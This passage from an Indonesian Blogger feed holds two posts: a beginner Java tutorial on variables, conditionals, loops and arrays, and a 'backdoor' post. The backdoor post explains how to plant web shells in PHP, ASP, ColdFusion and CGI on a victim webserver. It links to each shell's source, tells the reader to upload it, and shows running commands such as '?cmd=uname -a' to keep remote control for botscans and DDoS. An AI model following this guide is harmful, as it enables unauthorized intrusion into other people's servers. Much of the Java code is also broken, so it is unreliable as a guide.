pengertian dari masing masing variable gue anggap juga loh semuanya udeh pada tahu yah, karena di bahsa pemrograman yang lain sudah sering dibahas, masa dibahas lagi sih, nanti jadi panjang dan g singkat donk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sekarang setelah mengetahui variable variable apa saja yang terdapat dalam java, kini saatnya kita mengetahui bagaimana cara mengdeklarasikan variable tersebut dalam code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code deklarasi_variable:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class Variables&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int myVariable&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;nah seperti itu lah kita dapat mendeklarasikan variable didalam bahasa java. Oh yah, jika ada pertanyaan seperti ini: Bagaimana jika kita ingin mendeklarasikan 2 atau lebih variable yang sama jenis datanya???, ok ini sangat mudah...mari kita langsung pergi ke TKP (code)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code deklarasi_variable_1:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class Variablee&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int variablesatu, variabledua&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mudahkan, kalo mau banyak yah tinggal di tambahkan saja varibalenya, xii,xii&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cara lain pakai variable:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code caralain_var:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class lain&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int a = 5;&lt;br /&gt;&lt;br /&gt;String bro = “Hallo brother”;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;System.out.println(a);&lt;br /&gt;&lt;br /&gt;System.out.println(bro);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dan selanjutnya silahkan di exploitasi sendiri, karena ini hanya dasar. Untuk selnajutnya kita akan belajar mengenai IF argument atau biasa di sebut dengan IF decission atau pilahan menggunakan statement IF, dari sini kita bisa langsung paham dan mengerti, perintah ini adalah untuk melakukan operasi apabila statement tersebut terpenuhi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code if:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class pilih&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int I = 5;&lt;br /&gt;&lt;br /&gt;if (I == 5)&lt;br /&gt;&lt;br /&gt;System.out.println(“i is aqual 5”);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mudahkan bukan, jadi disini akan mencetak tuisan I is aqual 5 jika kondisi terpenuhi, jika tidak terpenuhi maka tidak akan mencetak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk lebih lanjutnya kita akan mengetahui pengertian dari beberapa operator:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;== berarti sama dengan&lt;br /&gt;&lt;br /&gt;!= berarti tidak sama dengan&lt;br /&gt;&lt;br /&gt;&gt;= berarti lebih besar sama dengan&lt;br /&gt;&lt;br /&gt;&lt;= berarti lebih kecil sama dengan&gt; berarti lebih besar&lt;br /&gt;&lt;br /&gt;&lt; berarti lebih kecilsedikit contoh code pengunaan if..elsecode:Code:public class codeifels{public static void main(String[] args){int a = 2;if (a == 3)System.out.println(“a is aqual 3”);elseSystem.out.println(“a is not equal 3”);}}nah setelah kita mengtahui bagaimana if dan if..else, maka kita sekarang akan mengtahui bagaimana fungsi dari if bersarang atau juga biasa di sebut nested if.Code:Code:public class ifnest{public static void main(String[] args){int a = 1;if (a &lt; 0)System.out.println(“Negative”);elseif (a &gt; 0)&lt;br /&gt;&lt;br /&gt;System.out.println(“Positive”);&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;&lt;br /&gt;System.out.println(“Zero alias Nol”);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ok setelah mengetahui bagaimana if bersarang, maka saatnya kita belajar switch decission, switch deccission ada laha melakaukan sebuah pilihan dengan sama dengan if decission tapi bedanya ini melakukan pilihantanpa melihad kondisi terpenuhi apa tidaknya, langsung saja kita melihat code yang tersdia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class pilih&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int b = 3;&lt;br /&gt;&lt;br /&gt;switch(b)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;case 1:&lt;br /&gt;&lt;br /&gt;System.out.println(“b is 1”);&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case 2:&lt;br /&gt;&lt;br /&gt;System.out.println(“b is 2”);&lt;br /&gt;&lt;br /&gt;case 3:&lt;br /&gt;&lt;br /&gt;System.out.println(“b is 3”);&lt;br /&gt;&lt;br /&gt;default:&lt;br /&gt;&lt;br /&gt;System.out.println(“Invalid value you inputed”);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;oke deh, sekarang saat belajar looping, atau dikenal sebagai perulangan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For looping( perulangan dengan for statement)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class ulang&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int q ;&lt;br /&gt;&lt;br /&gt;for (q = 0;q &lt;= 10;q++)System.out.println(“Ulang”);}}q++ adalah fungsi increement untuk penambahan bilangan yang akan di ulang jika kondisi yang dikerjakan tidak terpenuhi.Untuk contoh perulangan dengan while loopcode:Code:public class ulangg{public static void main(string[] args){int s = 1;while ( s &lt;= 10)System.out.println(“ulang”);s++;}}dan untuk perulangan dengan memakai do..whilecode :Code:public class ulanggg{public static void main(string[] args);{int d = 1;do{System.out.println(“lang”);d++;}while (d &lt;= 5)}}wah sekalian telah mengerti kan dasar dari pemrograman java, mudah bukan, sebab ini sama dengan bahasa pemrograman yang terdahulunya, seandainya kita mengusai yang terdahulunya seperti pascal, c, dan c++, maka pemrograman java basic sangatlah mudah di mengerti, sekarang saatnya kita melanjutkan inti dari berbagai pemrograman yang ada, yaitu array, sebelumnya mungkin kalian sudah ada yang tahu mengenai tetang array, sedikit gue akan mengulangi pengertian array yang gue pelajarin selama ini, kalo salah gue mohon maaf aja yah, namanya juga share ilmu...array adalah sebuah larik, atau bisa juga disebut dengan matrik,deklarasi array secara umum.Code:Code:public class larik{public static void main(string[] args){int [] a;}}setalah mengetahui bentuk dasar dari array sekarang kita akan membuat array itu berisi dengan sebuah nilai.Code :Code:public class larik{public static void main(string[] args){int [] a = new [5];}}dari code diatas kita tahu bahwa sekarang array telah di definisikan dan di beri nilai sebesar 5array juga bisa di definisikan denga perintah seperti ini, tergantung si programmer yang buatnya.code :Code:public class matrik{public static void main(string[] args){int [] g = {12,23,34,45,56};}}nah setelah kita tahu bagaimana array, sekarang kita akan belajar bagaimana array dapat digunakan.Code :Code:public class uselarik{public static void main(string[] args);{int [] w = new int [5];w[0] = 1;w[1] = 2;w[2] = 3;w[3] = 4;w[4] = 5;}}contoh lainnyacode :Code:public class lain{public static void main(string[] args){int [] h = new int[5];for (int w = 0;w &lt;= 5;w++)h[w] = 0;}}heem, sekian dulu yah tutorial basic java dari gue&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2823925611450124610?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2823925611450124610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2823925611450124610'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/java.html' title='java'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1253502222024918826</id><published>2010-01-18T04:40:00.001+07:00</published><updated>2010-01-25T16:05:45.599+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>backdoor</title><content type='html'>&lt;span class=""&gt;&lt;br /&gt;apa itu backdoor ?&lt;br /&gt;------------------------------------------------------&lt;br /&gt;Backdoor salah satu senjata remote shell hacker yang di pakai untuk kembali masuk pada web victim yang pernah di kuasainya[ powned ], dengan berbagai cara mereka jadikan victim tersebut menjadi zombie mereka .&lt;br /&gt;ya mereka bisa menggunakan dan memanfaatkan fasilitas webserver yang telah di masukan backdoor.&lt;br /&gt;seperti menyimpan data, melakukan botscan , dan sampai melakukan aktifitas DDOS.&lt;br /&gt;&lt;br /&gt;------------------------------------------------------&lt;br /&gt;backdooring PHP&lt;br /&gt;------------------------------------------------------&lt;br /&gt;&lt;br /&gt;backdooring php sering kita sebutjuga sebagai php shell&lt;br /&gt;yah , script yang bisa melakukan bypass login admin atau sampai mendapatkan hah akses root.&lt;br /&gt;contoh script dari php shell :&lt;br /&gt;&lt;br /&gt;download sourcenya disini&lt;br /&gt;&lt;br /&gt;http://roquetes.es/media/php.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cara penggunaannya :&lt;br /&gt;&lt;br /&gt;simpan script dengan nama elv1n4.php , lalu upload ke webservertarget ,lalu jalankan perintah misalkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://webservertarget.us/store/elv1n4.php?cmd=uname -a&lt;br /&gt;&lt;br /&gt;maka yang akan muncul dalam browser kita adalah nama,tipe, server dari target.&lt;br /&gt;&lt;br /&gt;tag" remote tersebut berpengaruh bagi webserver yang telah terinjeksi backdoor,&lt;br /&gt;&lt;br /&gt;maka attacker dapat melakukan fasilitas upload file, membuat file, menghapus file, dan merubah mode server atau CHMOD ( jika kita menduduki akses r00t )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------------------------------------&lt;br /&gt;&lt;br /&gt;backdooring ASP&lt;br /&gt;&lt;br /&gt;------------------------------------------------------&lt;br /&gt;&lt;br /&gt;backdooring ASP sama halnya dengan PHP, namun berbeda bahasa pemogramannya,&lt;br /&gt;&lt;br /&gt;nonsen kita mendapatkan webvictim yang ingin kita injeksikan backdoor dengan menggunakan phpshell.&lt;br /&gt;&lt;br /&gt;penggunaan ASp SHell menuntut kita untuk belajar console windows.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;contoh asp shell&lt;br /&gt;&lt;br /&gt;-----------------&lt;br /&gt;download sourcenya disini&lt;br /&gt;&lt;br /&gt;http://roquetes.es/media/asp.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pengunaan asp shell ini dilakukan dengan cara menyimpan script di atas menjadi elv1n4.asp, lalu upload ke directory yang memiliki permision 777, contoh :&lt;br /&gt;&lt;br /&gt;http://web/path/elv1n4.asp &lt;----lalu kita dapat mengakses kembali server tersebut dengan mengetikan pada url seperti :http://web/path/elv1n4.asp----------------------backdooring Coldfusion----------------------backdooring coldfusion sama halnya dengan ASP, namun sama halnya berbeda language .contoh script coldfusion shell-----------------------contoh coldfusion shell------------------------download sourcenya disinihttp://roquetes.es/media/cfm.txt----------------------------cara penggunaan coldfusion shell ini dengan cara save source di atas menjadi elv1n4.cfm , lalu upload pada webserver ,lalu kita bisa menjalankan backdoor tersebut .-----------------------backdooring CGI-----------------------backdooring CGI sama halnya cara nya dengan penanaman backdoor lainnya ,tetapi beda console , console disini ada yang memanfaatkan bahasa perl (.pl) atau python (.py) atau CGI (cgi) .----------------------contoh source CGIshell----------------------download sourcenya disinihttp://roquetes.es/media/cgi.txtcara penggunaan backdoor ini .cukup kita save source diatas menjadi elv1n4.cgilalu kita upload elv1n4.cgi ke file cgi-bin pada webserver .atau kita bisa gunakan script ini :http://www.a1e.es/templates/beez/cgi.txtlalu kita coba upload di webservervictim apachehttp://webservervictim/cgi-bin/cgi.pl-------------------Penuntup-------------------artikel ini mungkin bisa berguna bagi kita semuanya,CMIIW-------------------------------------------------------&gt; END OF FILES &lt;-------------------------------------------------------&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1253502222024918826?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1253502222024918826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1253502222024918826'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/backdoor.html' title='backdoor'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry></feed>
